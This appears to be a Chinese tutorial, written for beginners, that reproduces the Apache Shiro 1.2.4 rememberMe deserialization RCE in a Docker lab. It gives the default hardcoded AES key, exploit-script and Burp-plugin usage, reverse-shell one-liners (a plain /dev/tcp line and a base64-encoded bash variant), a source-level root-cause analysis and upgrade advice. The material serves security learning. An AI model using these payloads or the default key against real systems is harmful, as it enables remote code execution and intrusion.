Apache Shiro是一個強大易用的Java安全框架,提供了認證、授權、加密和會話管理等功能。Shiro框架直觀、易用,同時也能提供健壯的安全性。 Apache Shiro框架提供了記住密碼的功能(RememberMe),用戶登錄成功后會生成經過加密并編碼的cookie。在服務端對rememberMe的cookie值,先base64解碼然后AES解密再反序列化,就導致了反序列化RCE漏洞。 1、檢索RememberMe cookie 的值 2、Base 64解碼 3、使用AES解密(加密密鑰硬編碼) 4、進行反序列化操作(未作過濾處理) 4.shiro序列化利用條件 由于使用了aes加密,要想成功利用漏洞則需要獲取aes的加密密鑰,而在shiro的1.2.4之前版本中使用的是硬編碼。其默認密鑰的base64編碼后的值為kPH+bIxk5D2deZiIxcaaaA==,這里就可以通過構造惡意的序列化對象進行編碼,加密,然后作為cookie加密發送,服務端接收后會解密并觸發反序列化漏洞。 盡管目前已經更新了許多版本,官方并沒有反序列化漏洞本身解決,而是通過去掉硬編碼的密鑰,使其每次生成一個密鑰來解決該漏洞。但是,目前一些開源系統、教程范例代碼都使用來固定的編碼,這里我們可以通過搜索引擎、github等來收集密鑰,提高漏洞檢測與利用的成功率。 獲取docker鏡像 docker pull medicean/vulapps:s_shiro_1 重啟docker systemctl restart docker 啟動docker鏡像: docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1 訪問: 驗證 抓包分析 1. 下載shiro利用腳本,下載地址https://github.com/zhzyker/shiro-1.2.4-rce 2 . 使用工具進行驗證 python3 shiro-1.2.4_rce.py http://10.10.10.128:8081/login 3.使用linux進入linuxshell模式。 4. windos : bash -i >& /dev/tcp/10.10.10.128:8080/ 0>&1 linux系統需要編碼之后,繞后再進行nc反彈。 http://www.jackson-t.ca/runtime-exec-payloads.html 5.然后使用nc反彈 1.選擇shiro550 2.然后使用ceye.io進行利用 3.驗證key值 4.檢測到漏洞,然后使用nc反彈shell 5.然后監聽到shell。 感謝作者(pmiaowu)提供的插件。 下載地址:https://github.com/pmiaowu/BurpShiroPassiveScan 1.啟動環境 2.訪問主頁 3.使用腳本進行漏洞檢測 4.查看命令是否成功 4.使用命令: 反彈shell 5.執行命令 6.反彈成功,拿到權限。 原理分析:根據shiro報告分析可以得到,主要存在幾個重要的點: rememberMe cookie CookieRememberMeManager.java Base64 AES 加密密鑰硬編碼 Java serialization 1.首先正常登錄,然后生成帶有rememberme的返回cookie值。 2.生成cookie,shiro會提供rememberme功能,可以通過cookie記錄登錄用戶,從而記錄登錄用戶的身份認證信息,即下次無需登錄即可訪問。處理rememberme的cookie的類為org.apache.shiro.web.mgt.CookieRememberMeManager 3.之后進入serialize,對登錄認證信息進行序列化 4.然后加密,調用aes算法。 5.加密結束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中進行base64編碼,并通過response返回 6.解析cookie 7.先解密在反序列化 8.AES是對稱加密,加解密密鑰都是相同的,并且shiro都是將密鑰硬編碼 9.調用crypt方法利用密文,key,iv進行解密,解密完成后進入反序列化,看上面的public AbstractRememberMeManager()這里用的是默認反序列化類,然后觸發生成反序列化。 Apache Shiro 1.2.5以下版本,建議抓緊升級shiro的版本,另一個修復建議就是將默認Key加密改為生成隨機的Key加密。 web滲透不只有owasp10常見的一些漏洞,我們還需要學習一些框架的漏洞還有一些中間件的漏洞,自己的知識面廣了,自己的滲透路就會更加寬闊。本文為初學者對中間件漏洞的一些理解。會的大佬跳過哈。一、漏洞描述
1.shiro概述
2.漏洞原理
3.漏洞發現
二.漏洞復現
1.環境搭建
2.漏洞利用(1)--腳本攻擊
漏洞利用(2)--自動化工具攻擊
漏洞利用方式3:burp插件
三.vulhub環境復現
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
四、漏洞原理分析
五、修復建議:
總結: